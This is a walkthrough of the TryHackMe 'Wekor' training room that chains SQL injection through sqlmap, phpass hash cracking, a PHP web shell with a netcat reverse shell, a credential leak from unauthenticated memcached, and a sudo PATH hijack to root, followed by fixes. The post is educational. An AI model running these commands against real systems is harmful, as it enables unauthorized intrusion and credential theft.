mintshell
VI

Wekor

A hidden WordPress subdomain falls to SQL injection and a cracked admin password, then an exposed memcached service and a PATH hijack chain all the way to root.

Platform
TryHackMe
Room
Wekor(external link)
Difficulty
Medium
Vulnerabilities
sql injection, weak credentials, authenticated remote code execution, insecure privileged service, insecure command execution
5 min read

TryHackMe: Wekor — SQL Injection, a Cracked WordPress Login, and a Memcached Leak to Root

A walkthrough of the “Wekor” TryHackMe room. A SQL injection in an e-commerce discount-code parameter dumps the WordPress database, a cracked admin password gets us a shell, and an internal memcached instance leaks a second user’s password in the clear — who turns out to hold a sudo rule we can abuse with a classic PATH hijack.

The flags are redacted. Wekor is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> are real on the box but withheld here.


TL;DR

TL;DR

A SQL injection in the shop’s discount-code request dumps the wordpress database’s wp_users table → cracking the phpass hashes with john recovers wp_yura’s password → logging into wp-admin with full privileges lets us drop a PHP reverse shell through the admin panel → as www-data we find an internal-only memcached instance leaking the Orka user’s password in plaintext → su Orka → a sudo-able custom bitcoin binary calls python by bare name instead of an absolute path → PATH hijack → root.

SQLi → cracked creds → admin RCE → memcached leak → PATH hijack → root.

The target

export IP=<target-ip>

Wekor exposes SSH (22) and an Apache site on 80. The main vhost (wekor.thm) is an e-commerce “shop” front end; a second vhost, discovered by fuzzing, serves a WordPress install under /wordpress.

The vulnerability: an unauthenticated discount-code parameter reaches SQL

Adding an item to the cart and applying a discount code sends a POST request whose parameter is concatenated straight into the backend query — no parameterization, no escaping.

Insight

The site’s own search and contact forms turn up nothing, but the discount-code flow does — running the captured request through sqlmap confirms the parameter is injectable, and the database behind it isn’t limited to the shop: it’s the same MySQL instance backing the site’s WordPress install.

Step 1 — recon and virtual-host discovery

rustscan -t 1500 -a wekor.thm --ulimit=5000 -- -A -sC -sV
# 22/tcp open ssh   OpenSSH 7.2p2
# 80/tcp open http  Apache 2.4.18, robots.txt discloses /workshop /agent /crawler ...

Fuzzing the Host header turns up a second vhost:

ffuf -H "Host: FUZZ.wekor.thm" -u http://wekor.thm -w subdomains-top1million-5000.txt -fs 23
# site.wekor.thm  [Status: 200]

Directory brute-forcing site.wekor.thm then finds a WordPress install:

ffuf -u http://site.wekor.thm/FUZZ -w directory-list-2.3-medium.txt -fc 404
# wordpress  [Status: 301]

Step 2 — SQL injection dumps the WordPress users table

With the discount-code request saved to request.txt:

sqlmap -r request.txt -D wordpress -T wp_users -C user_login,user_pass --dump
# user_login: admin, wp_eagle, wp_jeffrey, wp_yura
# user_pass:  phpass ($P$...) hashes, one per account

Step 3 — cracking the phpass hashes

john --format=phpass --wordlist=rockyou.txt hashlist.txt
# 3 of 4 hashes crack; wp_yura -> <redacted-wp-password>

wp_yura turns out to hold full administrator privileges in the WordPress dashboard — the account worth having.

Step 4 — authenticated RCE through the WordPress admin panel

Logging in as wp_yura with maximum dashboard privileges gives us everything needed to execute code: the admin panel lets an administrator edit theme/plugin files directly, so a small PHP web-shell dropped through that panel and requested back over HTTP gives us a shell.

nc -lvnp 4444
# connect from $IP → uid=33(www-data) gid=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'

Step 5 — an internal memcached instance leaks a plaintext password

Nothing useful sits in /home for www-data, so the next move is checking what’s only listening on loopback:

netstat -tulpn
# 127.0.0.1:3010   (internal app)
# 127.0.0.1:3306   mysql
# 127.0.0.1:11211  memcached   <-- unauthenticated, loopback-only

Memcached has no authentication by default. Dumping its keys hands over a full credential pair:

telnet 127.0.0.1 11211
stats cachedump 1 0
get username   # -> Orka
get password   # -> <redacted-orka-password>
su Orka
cat user.txt   # -> <redacted-flag>

Step 6 — PATH hijack through a sudo-able custom binary

sudo -l
# (root) /home/Orka/Desktop/bitcoin

The bitcoin binary gates execution behind a password prompt. Pulling the binary down and opening it in Ghidra recovers the real password, after which the program runs a helper step that calls python by bare name rather than an absolute path:

mkdir /tmp && cd /tmp
cat > python <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x python
export PATH=/tmp:$PATH
sudo /home/Orka/Desktop/bitcoin
# Enter the password: <redacted-cracked-binary-password>
# Access Granted... -> our fake "python" in /tmp runs as root instead
cat /root/root.txt   # -> <redacted-flag>

Impact

Critical

High — CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The full chain is local-to-root with no exotic requirements, starting from an unauthenticated SQL injection reachable from a routine shop checkout flow:

  • SQL injection exposes every WordPress credential on the box.
  • An internal memcached instance with zero authentication hands over a second user’s password in plaintext to any process on the host.
  • A sudo binary that resolves helper commands by bare name turns a password-gated utility into unrestricted root execution for anyone who controls $PATH.

Fix

  1. Parameterize the discount-code query. Never concatenate request parameters into SQL; use prepared statements and least-privilege DB accounts.
  2. Bind memcached to loopback with authentication enabled (SASL), and never store plaintext credentials in a cache layer regardless of exposure.
  3. Use absolute paths in any script a sudo**-able binary invokes**, and set secure_path so sudo’s PATH can’t be influenced by the calling user.

Takeaways

  • A “minor” feature (a discount code) is still an injection point. Treat every parameter that reaches a query the same, regardless of how small the feature looks.
  • Memcached has no auth by default — if it’s reachable at all, treat whatever it stores as already leaked.
  • PATH hijacking is still common in sudo wrappers. Any script invoked by root that doesn’t use absolute paths for the binaries it calls is a privilege-escalation primitive waiting to be used.

Thanks for reading. Wekor is a good reminder that the smallest-looking form on a page is often the one nobody bothered to parameterize.